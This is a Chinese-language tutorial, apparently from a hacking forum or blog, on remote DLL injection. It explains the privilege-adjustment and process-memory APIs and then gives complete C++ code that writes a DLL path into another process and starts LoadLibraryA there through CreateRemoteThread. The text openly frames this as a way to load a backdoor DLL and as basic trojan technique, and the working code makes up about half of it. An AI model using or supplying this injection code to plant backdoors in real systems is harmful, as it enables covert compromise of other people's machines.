一般情況下,每個程序都有自己的私有空間,理論上,别的程序是不允許對這個私人空間進行操作的,但是,我們可以利用一些方法進入這個空間并進行操作,将自己的代碼寫入正在運作的程序中,于是就有了遠端注入了。
對dll後門的編寫就不作過多的讨論了,現在來看實作注入功能的可執行檔案的編寫:
用到的函數有:
OpenProcessToken(); LookupPrivilegeValue(); AdjustTokenPrivileges(); OpenProcess(); VirtualAllocEx(); WriteProcessMemory(); GetProcAddress(); CreateRemoteThread();
先簡單的介紹以下這些函數的作用,因為我們要操作的是系統中的其他程序,如果沒有足夠的系統權限,我們是無法寫入甚至連讀取其它程序的記憶體位址的,是以我們就需要提升自己的權限,用到以下3個函數
OpenProcessToken(); //打開程序令牌 LookupPrivilegeValue(); //傳回一個本地系統獨一無二的ID,用于系統權限更改 AdjustTokenPrivileges(); //從英文意思也能看出它是更改程序權限用的吧?
進入宿主程序的記憶體空間
在擁有了進入宿主程序空間的權限之後,我們就需要在其記憶體加入讓它加載我們後門的代碼了,用 LoadLibraryA()函數就可以加載我們的DLL了,它隻需要DLL檔案的路徑就可以了,在這裡我們要把DLL檔案的路徑寫入到宿主的記憶體空間裡,因為DLL的檔案路徑并不存在于宿主程序記憶體空間了,用到的函數有:
OpenProcess(); //用于修改宿主程序的一些屬性,詳細參看MSDN VirtualAllocEx(); //用于在宿主記憶體空間中申請記憶體空間以寫入DLL的檔案名 WriteProcessMemory(); //往申請到的空間中寫入DLL的檔案名
在宿主中啟動新的線程
用的是LoadLibraryA()函數來加載,但在使用LoadLibraryA()之前必須知道它的入口位址,是以用GetProcAdress來獲得它的入口位址,有了它的位址以後,就可以用CreateRemoteThread()函數來啟動新的線程了,到次,整個注入過程完成,不過還不非常完善,這就留給聰明的你來完成了;)。
簡單的例子:
#include <windows.h> #include <iostream.h> int EnableDebugPriv(const char * name) { HANDLE hToken; TOKEN_PRIVILEGES tp; LUID luid; //打開程序令牌環 OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY, &hToken); //獲得程序本地唯一ID LookupPrivilegeValue(NULL, name, &luid) ; tp.PrivilegeCount = 1; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tp.Privileges[0].Luid = luid; //調整權限 AdjustTokenPrivileges(hToken, 0, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL); return 0; } //***************************************************************************************************************************** BOOL InjectDll(const char *DllFullPath, const DWORD dwRemoteProcessId) { HANDLE hRemoteProcess; EnableDebugPriv(SE_DEBUG_NAME); //打開遠端線程 hRemoteProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, dwRemoteProcessId ); char *pszLibFileRemote; //使用VirtualAllocEx函數在遠端程序的記憶體位址空間配置設定DLL檔案名空間 pszLibFileRemote = (char *) VirtualAllocEx( hRemoteProcess, NULL, lstrlen(DllFullPath)+1, MEM_COMMIT, PAGE_READWRITE); //使用WriteProcessMemory函數将DLL的路徑名寫入到遠端程序的記憶體空間 WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (void *) DllFullPath, lstrlen(DllFullPath)+1, NULL); //############################################################################## //計算LoadLibraryA的入口位址 PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryA"); //(關于GetModuleHandle函數和GetProcAddress函數) //啟動遠端線程LoadLibraryA,通過遠端線程調用建立新的線程 HANDLE hRemoteThread; if( (hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL) ) == NULL) { cout<<"注入線程失敗!"<<endl; return FALSE; } //############################################################################## /* // 在//###.....//###裡的語句也可以用如下的語句代替: DWORD dwID; LPVOID pFunc = LoadLibraryA; HANDLE hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, pszLibFileRemote, 0, &dwID ); //是不是感覺簡單了很多 */ // 釋放句柄 CloseHandle(hRemoteProcess); CloseHandle(hRemoteThread); return TRUE; } //***************************************************************************************************************************** int main() { InjectDll("c:\\zrqfzr.dll", 3060) ;//這個數字是你想注入的程序的ID号 return 0; }
在NT系列作業系統中,EnableDebugPriv函數實作的部分可以去掉的。要研究木馬這個技術可是基礎。